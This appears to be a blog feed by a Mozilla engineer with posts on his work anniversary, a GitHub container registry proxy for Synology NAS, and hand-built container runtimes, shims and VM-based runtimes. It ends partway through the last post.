William Durand2024-02-17T21:49:31+00:00https://williamdurand.fr/William Durandwill@drnd.meMoziversary #52023-05-01T00:00:00+00:00https://williamdurand.fr/2023/05/01/moziversary-5<p><em>Today is my fifth<sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup> Moziversary š I joined Mozilla as a full-time employee
on May 1st, 2018. I previously blogged in <del>2019,</del> <a href="/2020/05/01/moziversary-2/">2020</a>, <a href="/2021/05/01/moziversary-3/">2021</a>, and
<a href="/2022/05/01/moziversary-4/">2022</a>.</em></p>
<p>I spent a good chunk of last year working on <a href="https://blog.mozilla.org/addons/2022/11/17/manifest-v3-signing-available-november-21-on-firefox-nightly/">Manifest Version 3</a> (MV3) with
the rest of my team (WebExtensions / Add-ons team). My most notable āH1 2022ā
contributions were probably the <a href="https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/scripting"><code class="language-plaintext highlighter-rouge">scripting</code></a> namespace and a
<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1793925">simpler versioning format</a>.</p>
<p class="with-caption"><img src="/images/posts/2023/05/extensions-button.webp" alt="" />
<em>The extensions button and its panel (with 3 extensions listed) in Firefox.</em></p>
<p>Next, I worked on a new primary User Interface (UI) for Firefox Desktop: the
<a href="https://support.mozilla.org/en-US/kb/extensions-button">extensions button</a>. This feature wasnāt unanimously
well-received<sup id="fnref:2" role="doc-noteref"><a href="#fn:2" class="footnote" rel="footnote">2</a></sup> <sup id="fnref:3" role="doc-noteref"><a href="#fn:3" class="footnote" rel="footnote">3</a></sup> (like many other changes to the Firefox UI). Anyway, I
addressed different (usability) issues since then, and I will continue to do so!</p>
<p>I alsoā¦</p>
<ul>
<li>took over more <a href="https://github.com/mozilla/web-ext">web-ext</a> maintenance (in addition to <a href="https://github.com/mozilla/addons-linter">addons-linter</a>)</li>
<li>contributed content to <a href="https://support.mozilla.org">support.mozilla.org</a>
(SUMO)</li>
<li>added <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1437171">WebMIDI support to <code class="language-plaintext highlighter-rouge">navigator.permissions.query()</code></a></li>
<li>wrote my <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1805783">first Web platform test</a>. Pretty cool!</li>
<li>committed to new repositories such as <a href="https://github.com/mozilla-releng/scriptworker-scripts">scriptworker-scripts</a>,
<a href="https://github.com/mozilla-extensions/xpi-template">xpi-template</a>, <a href="https://developer.mozilla.org/">MDN</a>, <a href="https://github.com/mdn/browser-compat-data/">browser-compat-data</a>, and <a href="https://github.com/mozilla-mobile/firefox-android">firefox-android</a>
lately</li>
<li>found myself involved in various incidentsā¦</li>
<li>stopped hating Jira</li>
</ul>
<p>But wait, there is more!</p>
<p>When I was on the AMO team, we had to maintain a feature named āReturn to AMOā
(RTAMO). In short, this feature allows new users interested in an add-on on
addons.mozilla.org (AMO) to download Firefox and install the add-on when Firefox
starts for the first time (without having to go back to AMO). RTAMO was extended
to more add-ons at the beginning of 2022 (and I was involved). I became very
knowledgeable about how attribution worked and documented all of that.</p>
<p>This is one of the reasons why I became the main owner<sup id="fnref:4" role="doc-noteref"><a href="#fn:4" class="footnote" rel="footnote">4</a></sup> of the <a href="https://github.com/mozilla-services/stubattribution">stub
attribution service</a>, an HTTP server that encodes attribution
data in Firefox (for Windows) installers and ā incidentally ā one of the few
critical services involved when users download Firefox. Coincidentally, this
project is now at the center of different 2023 projects. Good thing I took the
time to put this project back on track š</p>
<p>Phew. That was a good year! I am now involved in many cross-functional projects
and I really enjoy it. Speaking of which, I am currently working on bringing
more add-ons to Firefox for Android š</p>
<p>Thatās all for now. Many thanks to everyone I worked with over the last 12
months, itās been great working with all of you!</p>
<div class="footnotes" role="doc-endnotes">
<ol>
<li id="fn:1" role="doc-endnote">
<p>5 years orā¦ 5 months? I moved back to France and my current employment
contract started on January 1st, heh. Still better than nothing, though.Ā <a href="#fnref:1" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:2" role="doc-endnote">
<p>In case you didnāt know, many engineers read Reddit and/or other social
platforms. Iāve shared actionable feedback from public comments internally
more than once. That said, writing that the extensions button is the āworst
Mozilla idea of the decadeā isnāt helpful.Ā <a href="#fnref:2" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:3" role="doc-endnote">
<p>If I may, I would add that reaching out to me personally to say that you
hate the button is probably not OK.Ā <a href="#fnref:3" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:4" role="doc-endnote">
<p>I am (still) trying to build a small team around this project and <a href="https://github.com/mozilla-services/go-bouncer">another
one</a>. If you want to join the fun, please let me know!Ā <a href="#fnref:4" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
</ol>
</div>
GitHub Container Registry, Proxy and Synology2023-03-18T00:00:00+00:00https://williamdurand.fr/2023/03/18/github-container-registry-proxy-and-synology<p>Last week, I migrated a private application from Heroku to my Synology NAS
(compatible with Docker). Thanks to <a href="https://docs.github.com/en/actions">GitHub Actions</a>, every time the
main branch of the project is updated, a new private āDocker imageā is built and
pushed to the <a href="https://docs.github.com/en/packages/working-with-a-github-packages-registry/working-with-the-container-registry">GitHub Container Registry</a>.</p>
<p>On the NAS, one may think that running this private (ādockerizedā) application
is just a matter of logging in to the GitHub Container Registry, pulling the
image and creating a container. Correct, this works from the command line (over
SSH).</p>
<p>Having said that, <a href="https://www.synology.com/en-global/dsm">Synology DiskStation Manager (DSM)</a> ā the Operating
System powering my NAS ā offers a user interface (UI) to manage Docker images,
containers, networks and registries. I tried to use this UI to add the GitHub
Registry but it failed to load the list of images š</p>
<p class="with-caption"><img src="/images/posts/2023/03/synology-error-registry.webp" alt="" />
<em>āRegistry returned bad resultsā said DSM, sigh.</em></p>
<p>I donāt quite like when obvious things donāt workā¦ <a href="https://kb.synology.com/en-us/DSM/help/Docker/Docker?version=6">Synologyās docs say both
v1 and v2 registries are supported</a> and the GitHub Container
Registry <a href="https://docs.github.com/en/packages/working-with-a-github-packages-registry/working-with-the-docker-registry">supports Docker</a>. Shortly after, I realized that the
GitHub Container Registry didnāt fully implement the <a href="https://docs.docker.com/registry/spec/api/">Docker Registry HTTP
API</a>.</p>
<p>Fortunately, I know <a href="/2022/06/21/deep-dive-into-containers/">a thing</a> or <a href="/2022/07/11/containers-and-micro-virtual-machines/">two</a> about
containers, registries, etc. so I wrote a <a href="https://github.com/willdurand/container-registry-proxy">Container Registry Proxy</a> to
fix GitHubās container registry for <em>my</em> use case<sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup>. This proxy exposes two
new API endpoints specified by the <a href="https://docs.docker.com/registry/spec/api/">HTTP API v2</a> specification
and it uses the <a href="https://docs.github.com/en/rest/packages">GitHub REST API</a> to retrieve the necessary data.
All the other calls are transparently forwarded to the upstream GitHub registry.</p>
<p class="can-invert-image-in-dark-mode"><img src="/images/posts/2023/03/container-registry-proxy.webp" alt="" /></p>
<p>This proxy only requires a GitHub token with the <code class="language-plaintext highlighter-rouge">read:packages</code> permission. It
is written in Go and distributed as a <a href="https://hub.docker.com/r/willdurand/container-registry-proxy">lightweight Docker image published on the
Docker Hub</a>. Installing this proxy on a Synology NAS should
therefore be straightforward since the Docker Hub registry is configured by
default.</p>
<p>There are two caveats with this overall approach, though. First, the proxy
registry should ideally be a local registry because Docker allows (insecure)
local registries by default. Second, the DSM UI has some weird input validation
rules that prevent <code class="language-plaintext highlighter-rouge">http://127.0.0.1:10000</code> to be accepted as a āvalid URLā.
That is unfortunate because this address <em>is</em> our local registryā¦ We must edit
a configuration file directly on the NAS using SSH (<a href="https://github.com/willdurand/container-registry-proxy">more information about that
on GitHub</a>).</p>
<p>Once configured properly, this proxy works reasonably well.</p>
<p class="with-caption"><img src="/images/posts/2023/03/synology-registry-setting.webp" alt="" />
<em>The list of (Docker) registries in DSM. Both the Docker Hub and the local
registry are configured. The local registry ā named āGitHub Registry (Proxied)ā
ā is in use.</em></p>
<p class="with-caption"><img src="/images/posts/2023/03/synology-docker-images.webp" alt="" />
<em>The list of (Docker) images in DSM. The first image comes from the GitHub
Registry via the local proxy registry. The other two are from the Docker Hub.
The third/last image is the Container Registry Proxy introduced above.</em></p>
<p>I am not sure what the future of this small project is going to be since it does
what I want already. Maybe some other known registries have similar issues? Or
would there be any value in having that kind of proxy for other purposes, e.g.,
statistics, monitoring, etc.?</p>
<div class="footnotes" role="doc-endnotes">
<ol>
<li id="fn:1" role="doc-endnote">
<p>Important: this works for meā¢ but that doesnāt mean all edge cases are handled. This might explain why GitHub isnāt fully compatible with the HTTP API v2 specification yet. I donāt know.Ā <a href="#fnref:1" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
</ol>
</div>
Containers and micro virtual machines2022-07-11T00:00:00+00:00https://williamdurand.fr/2022/07/11/containers-and-micro-virtual-machines<p>I wrote <a href="/2022/06/21/deep-dive-into-containers/">an article about my deep dive into containers</a> last
month. As part of this learning journey, I built a prototype named <a href="https://github.com/willdurand/containers/blob/main/cmd/yaman/README.md">Yaman</a>, an
extremely limited yet functional container manager.</p>
<script id="asciicast-vdC2zxvyHSubTHuAPDt3g2T21" src="https://asciinema.org/a/vdC2zxvyHSubTHuAPDt3g2T21.js" async=""></script>
<p>In todayās article, I introduce a new sub-project named <a href="https://github.com/willdurand/containers/blob/main/cmd/microvm/README.md">microvm</a>. Itās an
experimental container runtime that uses short-lived Virtual Machines (VMs).</p>
<p>This isnāt forward-thinking, I developed this new prototype for learning
purposes. <a href="https://katacontainers.io/">Kata Containers</a>, <a href="https://github.com/containers/krunvm">krunvm</a> and <a href="https://github.com/containers/crun">crun</a> (with the help of
<a href="https://github.com/containers/libkrun">libkrun</a> and <a href="https://github.com/containers/libkrunfw">libkrunfw</a>) are production-grade technologies to run
containers inside VMs for better isolation.</p>
<h2 id="exploratory-work">Exploratory work</h2>
<p>Similar to how others have been <a href="https://mergeboard.com/blog/2-qemu-microvm-docker/">running Docker containers inside QEMU
VMs</a>, I started by tinkering with QEMUās
<a href="https://qemu.readthedocs.io/en/latest/system/i386/microvm.html">microvm</a> machine. I compiled a custom Linux kernel for it and
wrote my own <code class="language-plaintext highlighter-rouge">init</code><sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup> program. The latter is needed to mimic what a
traditional container runtime does when creating a container from a bundle<sup id="fnref:2" role="doc-noteref"><a href="#fn:2" class="footnote" rel="footnote">2</a></sup>.</p>
<p>The biggest unknown at the time was the root file system, which resided on the
host but had to be used within the VM. Creating a disk image (e.g. <a href="https://en.wikipedia.org/wiki/Qcow">qcow2</a>)
didnāt sound too great: itās overly complicated and slow. Instead, I used
<a href="https://gitlab.com/virtio-fs/virtiofsd">virtiofsd</a>, a daemon running on the host that can share a folder with a guest
(VM) using <a href="https://virtio-fs.gitlab.io/">virtio-fs</a>.</p>
<p>For the Linux kernel, I created a <em>minimal</em> configuration with <code class="language-plaintext highlighter-rouge">make
allnoconfig</code> and <code class="language-plaintext highlighter-rouge">make menuconfig</code> to enable some options. I spent a lot of time
on this part because I wanted to understand <a href="https://github.com/willdurand/containers/blob/ac6e8c93bec1d6188814049306c7cbad889297f9/extras/microvm/config-x86_64">what I was
configuring</a>. I recompiled the kernel about 200 times according
to the kernelās <code class="language-plaintext highlighter-rouge">make</code> output š </p>
<p>Most kernel messages could be hidden with the kernelās <code class="language-plaintext highlighter-rouge">quiet</code> option except
when the machine rebooted. I <em>really</em> wanted to hide all messages unrelated to
the (container) process running in the VM so I did what most people would have
done in this situation: <a href="https://github.com/willdurand/containers/blob/ac6e8c93bec1d6188814049306c7cbad889297f9/extras/microvm/patches/002-downgrade-reboot-messages.patch">I patched the kernel</a>.</p>
<p>Last but not least, I wrote a simple <a href="https://github.com/willdurand/containers/blob/ac6e8c93bec1d6188814049306c7cbad889297f9/extras/microvm/init.c"><code class="language-plaintext highlighter-rouge">init</code> program</a> to mount some
directories (similar to what I did in <a href="https://github.com/willdurand/containers/blob/main/cmd/yacr/README.md">Yacr</a>) and read some environment
variables in order to (1) set the <code class="language-plaintext highlighter-rouge">hostname</code> and (2) execute the container
process. About the latter, the kernel doesnāt expect the special <code class="language-plaintext highlighter-rouge">init</code> process
to be terminated, which necessarily happens when the container process has
finished its execution. I <a href="https://github.com/willdurand/containers/blob/ac6e8c93bec1d6188814049306c7cbad889297f9/extras/microvm/patches/001-poweroff-when-init-is-killed.patch">patched the kernel to reboot instead</a> š</p>
<p>The <code class="language-plaintext highlighter-rouge">init</code> program reads environment variables because the Linux kernel passes
unknown <a href="https://www.kernel.org/doc/html/v4.14/admin-guide/kernel-parameters.html">kernel parameters</a> to it<sup id="fnref:3" role="doc-noteref"><a href="#fn:3" class="footnote" rel="footnote">3</a></sup>. This is super convenient because QEMU
lets us configure the kernelās command line using the <code class="language-plaintext highlighter-rouge">-append</code> option. This is
how the container process (defined in the <a href="https://github.com/opencontainers/runtime-spec/blob/v1.0.2/config.md">container configuration</a>)
is passed to the VM for instance.</p>
<p>At this point, I could start a VM using my own kernel and get an interactive
shell š</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(host) $ make run BUNDLE=/tmp/alpine-bundle CID=alpine-ctr
/ # uname -a
Linux alpine-ctr 5.15.47-willdurand-microvm #1 SMP Fri Jul 9 19:08:45 UTC 2022 x86_64 Linux
/ # hostname
alpine-ctr
/ # ls
bin etc lib mnt proc run srv tmp var
dev home media opt root sbin sys usr
/ #
</code></pre></div></div>
<p>The custom kernel, the <code class="language-plaintext highlighter-rouge">init</code> program and the QEMU/<code class="language-plaintext highlighter-rouge">virtiofsd</code> configs seemed to
work fine. Phew! This was <em>just</em> QEMU running in my terminal, though.</p>
<p>Obviously, I couldnāt stop thereā¦</p>
<h2 id="the-microvm-runtime">The MicroVM runtime</h2>
<p>I moved <a href="https://github.com/willdurand/containers/blob/ac6e8c93bec1d6188814049306c7cbad889297f9/extras/microvm/Makefile#L89-L113">the few commands I had in a <code class="language-plaintext highlighter-rouge">Makefile</code></a> to a new Go CLI
application named <a href="https://github.com/willdurand/containers/blob/main/cmd/microvm/README.md">microvm</a>, which partially implements the OCI runtime
specification. This highly experimental container runtime is fully integrated
with <a href="https://github.com/willdurand/containers/blob/main/cmd/yaman/README.md">my own container manager</a>.</p>
<p>Letās consider the following example, which prints a short <a href="https://wttr.in">weather
report</a> using two containers:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span><span class="nb">echo</span> <span class="s1">'wttr.in'</span> <span class="se">\</span>
<span class="go"> | sudo yaman c run --rm --interactive docker.io/library/bash -- xargs wget -qO /dev/stdout \
| sudo yaman c run --interactive --runtime microvm quay.io/aptible/alpine -- head -n 7
Weather report: Brussels, Belgium
\ / Partly cloudy
_ /"".-. 17 Ā°C
\_( ). ā 24 km/h
/(___(__) 10 km
0.0 mm
</span></code></pre></div></div>
<p>From a user perspective, the fact that the second container has been created
with a virtual machine is an implementation detail, and thatās what I wanted to
achieve with this work.</p>
<p>Under the hood, the following steps are performed:</p>
<ol>
<li>A first <em>interactive</em> container is created with the default runtime
(<a href="https://github.com/willdurand/containers/blob/main/cmd/yacr/README.md">Yacr</a>). This container uses the <a href="https://hub.docker.com/_/bash">official Bash Docker
image</a>. It reads the value <code class="language-plaintext highlighter-rouge">wttr.in</code> from <code class="language-plaintext highlighter-rouge">stdin</code> (thatās
why it has to be interactive) and executes <code class="language-plaintext highlighter-rouge">wget -qO /dev/stdout wttr.in</code>
(which behaves like <code class="language-plaintext highlighter-rouge">curl wttr.in</code> but <code class="language-plaintext highlighter-rouge">curl</code> wasnāt installed in the Docker
image).</li>
<li>The output of the first container is redirected to the second container. The
first container exits and gets automatically removed because <code class="language-plaintext highlighter-rouge">--rm</code> was
specified.</li>
<li>The second container is also interactive but it uses the microvm runtime and
an <a href="https://quay.io/repository/aptible/alpine">Alpine image from Quay.io</a>. When the microvm runtime is
invoked to create the container, it creates a virtual machine using QEMU and
spawns a <code class="language-plaintext highlighter-rouge">virtiofsd</code> process to share the root filesystem with this VM.</li>
<li>In the VM, the <code class="language-plaintext highlighter-rouge">init</code> process executes <code class="language-plaintext highlighter-rouge">head -n 7</code>, which returns the first 7
lines of data received on <code class="language-plaintext highlighter-rouge">stdin</code>. The result is printed on the hostās
standard output (<code class="language-plaintext highlighter-rouge">stdout</code>) and the second container exits.</li>
</ol>
<p>The <code class="language-plaintext highlighter-rouge">--rm</code> option was not specified when we ran the second container, meaning we
can still retrieve it by listing all the containers. With the container ID, we
can fetch the logs and inspect the container (until we delete it):</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span><span class="nb">sudo </span>yaman c <span class="nb">ls</span> <span class="nt">-a</span>
<span class="go">CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS
26127b728da94fd7a184549f2c0f586c quay.io/aptible/alpine:latest head -n 7 15 seconds ago Exited (0) 12 seconds ago
</span><span class="gp">$</span><span class="w"> </span><span class="nb">sudo </span>yaman c logs 26127b728da94fd7a184549f2c0f586c
<span class="go">Weather report: Brussels, Belgium
\ / Partly cloudy
_ /"".-. +22(24) Ā°C
\_( ). ā 7 km/h
/(___(__) 10 km
0.0 mm
</span><span class="gp">$</span><span class="w"> </span><span class="nb">sudo </span>yaman c inspect 26127b728da94fd7a184549f2c0f586c | jq <span class="s1">'.Shim.Runtime'</span>
<span class="go">"microvm"
</span></code></pre></div></div>
<p>Of course the example above was using <a href="https://github.com/willdurand/containers/blob/main/cmd/yaman/README.md">Yaman</a> but we could also reproduce the
same example<sup id="fnref:4" role="doc-noteref"><a href="#fn:4" class="footnote" rel="footnote">4</a></sup> with our good olā Docker friend š</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span><span class="nb">echo</span> <span class="s1">'wttr.in'</span> <span class="se">\</span>
<span class="go"> | docker run --interactive bash xargs wget -qO /dev/stdout \
| docker run --runtime=microvm --interactive alpine head -n 7
Unable to find image 'bash:latest' locally
Unable to find image 'alpine:latest' locally
Digest: sha256:686d8c9dfa6f3ccfc8230bc3178d23f84eeaf7e457f36f271ab1acc53015037c
Status: Downloaded newer image for alpine:latest
Digest: sha256:b3abe4255706618c550e8db5ec0875328333a14dbf663e6f1e2b6875f45521e5
Status: Downloaded newer image for bash:latest
Weather report: Freiburg im Breisgau, Germany
\ / Sunny
.-. 15 Ā°C
ā ( ) ā ā 4 km/h
`-ā 10 km
/ \ 0.0 mm
</span><span class="gp">$</span><span class="w"> </span>docker ps <span class="nt">-a</span>
<span class="go">CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
5976d2c7fe86 alpine "head -n 7" About a minute ago Exited (0) About a minute ago jolly_shannon
</span><span class="gp">$</span><span class="w"> </span>docker inspect 5976d2c7fe86 | jq <span class="s1">'.[0].HostConfig.Runtime'</span>
<span class="go">"microvm"
</span></code></pre></div></div>
<p>Now, what if we want to spawn an interactive shell? Well, thatās possible too!</p>
<script id="asciicast-hJM4rCpJqZiKparZNh9CyDpZs" src="https://asciinema.org/a/hJM4rCpJqZiKparZNh9CyDpZs.js" async=""></script>
<p>Unfortunately, this terminal mode does not fully work with Docker (yet) š</p>
<p>It turns out that handling IOs isnāt trivial, especially when a virtual machine
is involved. The microvm runtime uses some tricks to redirect IOs correctly
(e.g. it spawns a <a href="https://github.com/willdurand/containers/blob/ac6e8c93bec1d6188814049306c7cbad889297f9/cmd/microvm/redirect_stdio.go">special process</a> and uses <a href="https://man7.org/linux/man-pages/man7/fifo.7.html">named pipes</a> on
the QEMU side) but the terminal mode is handled differently<sup id="fnref:5" role="doc-noteref"><a href="#fn:5" class="footnote" rel="footnote">5</a></sup>.</p>
<p>In terms of limitations, the virtual machines created by the microvm runtime
donāt have any network access at the moment. In fact, the kernel is built
without its network stack. This is probably something Iāll add in the future.</p>
<p>As for the next steps, Iād like to play with <a href="https://www.redhat.com/en/topics/virtualization/what-is-KVM">KVM</a>, which none of my āLinux
environmentsā give me access to at the moment. I suppose that would be better
performance-wise although I havenāt considered performances at all (good thing
itās an educational project, hehe).</p>
<p>Overall, I am pretty happy with the results and I learned a few things. It was
especially fun to play with the Linux kernel again!</p>
<div class="footnotes" role="doc-endnotes">
<ol>
<li id="fn:1" role="doc-endnote">
<p><code class="language-plaintext highlighter-rouge">init(1)</code> is the very first userspace program executed by the Linux kernel
when it has finished its initialization.Ā <a href="#fnref:1" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:2" role="doc-endnote">
<p>A container bundle (or āOCI bundleā) is a folder that contains all the
information needed to run containers. It is usually derived from an āimageā
(like a āDocker imageā). A bundle must contain a <a href="https://github.com/opencontainers/runtime-spec/blob/v1.0.2/config.md"><code class="language-plaintext highlighter-rouge">config.json</code></a>
file and the containerās root filesystem (which is a folder usually named
<code class="language-plaintext highlighter-rouge">rootfs</code>).Ā <a href="#fnref:2" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:3" role="doc-endnote">
<p>Only unknown kernel parameters that do not contain <code class="language-plaintext highlighter-rouge">.</code> are passed to <code class="language-plaintext highlighter-rouge">init</code>.
Those with <code class="language-plaintext highlighter-rouge">=</code> are passed as environment variables, the others are passed as
arguments (<code class="language-plaintext highlighter-rouge">argv</code>).Ā <a href="#fnref:3" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:4" role="doc-endnote">
<p>It is possible to fully reproduce the example with <a href="https://github.com/willdurand/containers/tree/ac6e8c93bec1d6188814049306c7cbad889297f9/extras/docker/scripts">these scripts</a>.Ā <a href="#fnref:4" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:5" role="doc-endnote">
<p>The terminal mode works fine with Yaman and I only noticed the problem
with Docker when I wrote this blog post, sigh.Ā <a href="#fnref:5" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
</ol>
</div>
Deep dive into containers2022-06-21T00:00:00+00:00https://williamdurand.fr/2022/06/21/deep-dive-into-containers<p>It (almost) all started with <a href="https://www.youtube.com/watch?v=Utf-A4rODH8">this talk from Liz Rice</a> that I
found in my Pocket list. I spent some time on a Sunday afternoon to write the
same code and decided to study more in-depth. I wanted to better understand what
was behind containers and how the different technologies interacted with each
other.</p>
<p>That was a month ago or so and things got out of control pretty quickly š Given
there are many talks and articles about containers already, this article is more
of a āShow and Tellā in which I describe what Iāve poked around.</p>
<h2 id="yacr-yet-another-container-runtime">Yacr: Yet another container runtime</h2>
<p>At this level, there is no concept of images, registries, volumes, etc. An <a href="https://opencontainers.org/">Open
Container Initiative</a> (OCI)-compliant runtime takes an identifier and a
ābundleā as input. A bundle is a folder that contains a
<a href="https://github.com/opencontainers/runtime-spec/blob/v1.0.2/config.md"><code class="language-plaintext highlighter-rouge">config.json</code></a> file and a root filesystem (ārootfsā).</p>
<p>I started by updating the code I had initially written to build a minimal (and
insecure<sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup>) runtime named <a href="https://github.com/willdurand/containers/blob/main/cmd/yacr/README.md">Yacr</a>. I learned a lot of low-level information
and I was super happy when <a href="https://github.com/willdurand/containers/blob/11aa764816f040b8dd1306edc1c20cee257d7961/cmd/yacr/README.md#getting-started-with-docker">Docker was able to use my very own
runtime</a>. Yacr works <a href="https://github.com/willdurand/containers/tree/11aa764816f040b8dd1306edc1c20cee257d7961/cmd/yacr#getting-started-with-containerd">with containerd</a>, too!</p>
<p>As for the implementation, I followed the <a href="https://github.com/opencontainers/runtime-spec/">runtime spec</a>, which is a rather
high-level description of a runtime and not really a specification <em>per se</em>. In
fact, the runtime I wrote had to be ā<a href="https://github.com/opencontainers/runc/">runc</a>-compliantā in order to be used by
other tools (<a href="https://github.com/opencontainers/runc/">runc</a> is the reference implementation of the runtime spec).</p>
<p>I then looked into <a href="https://container42.com/2022/01/10/shim-shiminey-shim-shiminey/">container shims</a>.</p>
<h2 id="yacs-yet-another-container-shim">Yacs: Yet another container shim</h2>
<p>When a runtime starts a container, it often uses <a href="https://man7.org/linux/man-pages/man3/exec.3.html"><code class="language-plaintext highlighter-rouge">exec(3)</code></a> to replace
itself with the actual container process. This is a problem because (1) standard
input/output are no longer (easily) available, and (2) it is difficult to know
when the process exits and why.</p>
<p>While it might be possible to poll <code class="language-plaintext highlighter-rouge">/proc</code> to solve (2), that wouldnāt solve
(1). We could make the runtime a long-running process but that does not seem
ideal either. The <a href="https://groups.google.com/g/docker-dev/c/zaZFlvIx1_k">concept of container shims</a> has been introduced to solve
these two problems (and more) in an elegant manner.</p>
<p>Shims sit between a container manager and a container runtime. In principle, a
shim invokes an OCI runtime to create/start containers. In addition, shims solve
the two problems stated above by:</p>
<ol>
<li>becoming a <a href="https://man7.org/linux/man-pages/man2/prctl.2.html">subreaper</a>, which allows them to reap (adopt) any child
processes created by their own child processes (<em>e.g.</em> the runtime). This, in
turns, allows shims to be notified when child processes exit</li>
<li>keeping open the containerās input/output. For instance, my implementation
creates FIFOs (named pipes) so that it is possible to interact with the
container process at any time</li>
</ol>
<p>The prototype I implemented is named <a href="https://github.com/willdurand/containers/blob/main/cmd/yacs/README.md">Yacs</a> and it uses the <a href="https://github.com/willdurand/containers/blob/main/cmd/yacr/README.md">Yacr</a> runtime
by default. Yacs <em>should</em> work with any OCI runtime but I only tried with <code class="language-plaintext highlighter-rouge">yacr</code>
and <code class="language-plaintext highlighter-rouge">runc</code>.</p>
<h3 id="example">Example</h3>
<p>Yacs provides an HTTP API <em>via</em> a unix socket because that was easy to
implement. In the example below, we create a new container with <code class="language-plaintext highlighter-rouge">yacs</code>, which
will invoke the runtime (<code class="language-plaintext highlighter-rouge">yacr</code>) to create the container.</p>
<p>As per the <a href="https://github.com/opencontainers/runtime-spec/">runtime spec</a>, the container is only created, not started yet,
which is why we see the <code class="language-plaintext highlighter-rouge">yacr create container</code> process under the <code class="language-plaintext highlighter-rouge">yacs</code> process
in the <code class="language-plaintext highlighter-rouge">ps</code> output. The <code class="language-plaintext highlighter-rouge">yacr</code> process waits for the āstartā command.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>yacs <span class="nt">--bundle</span><span class="o">=</span>/tmp/alpine-bundle <span class="nt">--container-id</span><span class="o">=</span>alpine
<span class="go">/home/gitpod/.run/yacs/alpine/shim.sock
</span><span class="gp">$</span><span class="w"> </span>ps auxf
<span class="go">USER PID COMMAND
[...]
gitpod 44458 yacs --bundle=/tmp/alpine-bundle --container-id=alpine
gitpod 44488 \_ yacr --log-format json --log /home/gitpod/.run/yacs/alpine/yacr.log create container alpine --root /home/gitpod/.run/yacr --bundle /tmp/alpine-bundle
</span></code></pre></div></div>
<p>When we ask the shim to start the container using the HTTP API, it invokes the
runtime again to start the container. At this point, the container process (<code class="language-plaintext highlighter-rouge">sh /hello-loop.sh</code> in this example) should be running under the <code class="language-plaintext highlighter-rouge">yacs</code> (subreaper)
process (see <code class="language-plaintext highlighter-rouge">ps</code> output below).</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>curl <span class="nt">-X</span> POST <span class="nt">-d</span> <span class="s1">'cmd=start'</span> <span class="nt">--unix-socket</span> /home/gitpod/.run/yacs/alpine/shim.sock http://shim/
<span class="go">{
"id": "alpine",
"runtime": "yacr",
"state": {
"ociVersion": "1.0.2",
"id": "alpine",
"status": "running",
"pid": 44488,
"bundle": "/tmp/alpine-bundle"
},
"status": {}
}
</span><span class="gp">$</span><span class="w"> </span>ps auxf
<span class="go">USER PID COMMAND
[...]
gitpod 44458 yacs --bundle=/tmp/alpine-bundle --container-id=alpine
gitpod 44488 \_ sh /hello-loop.sh
gitpod 55758 \_ sleep 1
</span></code></pre></div></div>
<p>Yacs saves the output of the container process in a JSON file (called a ālog
fileā) to read the output after the container process has died (useful for
container managers). We can use the HTTP API to fetch these logs:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>curl <span class="nt">--unix-socket</span> /home/gitpod/.run/yacs/alpine/shim.sock http://shim/logs
<span class="go">[...]
{"m":"Hello!","s":"stdout","t":"2022-06-12T11:51:44.947554491Z"}
{"m":"Hello!","s":"stdout","t":"2022-06-12T11:51:45.948493454Z"}
</span></code></pre></div></div>
<p>Each line in a log file is a JSON object with the output message (<code class="language-plaintext highlighter-rouge">m</code>), the
stream (<code class="language-plaintext highlighter-rouge">s</code>) and the timestamp (<code class="language-plaintext highlighter-rouge">t</code>). Container managers can then implement a
<code class="language-plaintext highlighter-rouge">logs</code> command that can read this log file and print each message to the right
stream (<code class="language-plaintext highlighter-rouge">stdout</code> or <code class="language-plaintext highlighter-rouge">stderr</code>).</p>
<p>Yacs also supports <a href="https://github.com/containerd/containerd/discussions/5789">console sockets</a>. In which case, logs are not available.
The HTTP API supports <a href="https://github.com/willdurand/containers/blob/main/cmd/yacs/README.md">other commands to send signals to a container, delete it
and even terminate the shim itself</a>.</p>
<h2 id="yaman-yet-another-container-manager">Yaman: Yet another (container) manager</h2>
<p>With a somewhat functional runtime and a shim that could do a few things
correctly, I decided to look into container managers (like <a href="https://docs.docker.com/">Docker</a> and
<a href="https://docs.podman.io/en/latest/">Podman</a>).</p>
<p>My initial idea was to write the minimum amount of code to use an existing
Docker image with the two tools I had written and without Docker. Ha, ha.</p>
<p>I ended up writing a <a href="https://github.com/willdurand/containers/blob/main/cmd/yaman/README.md">daemon-less container manager that creates and manages
rootless containers</a>. These containers can even reach the Internet (which
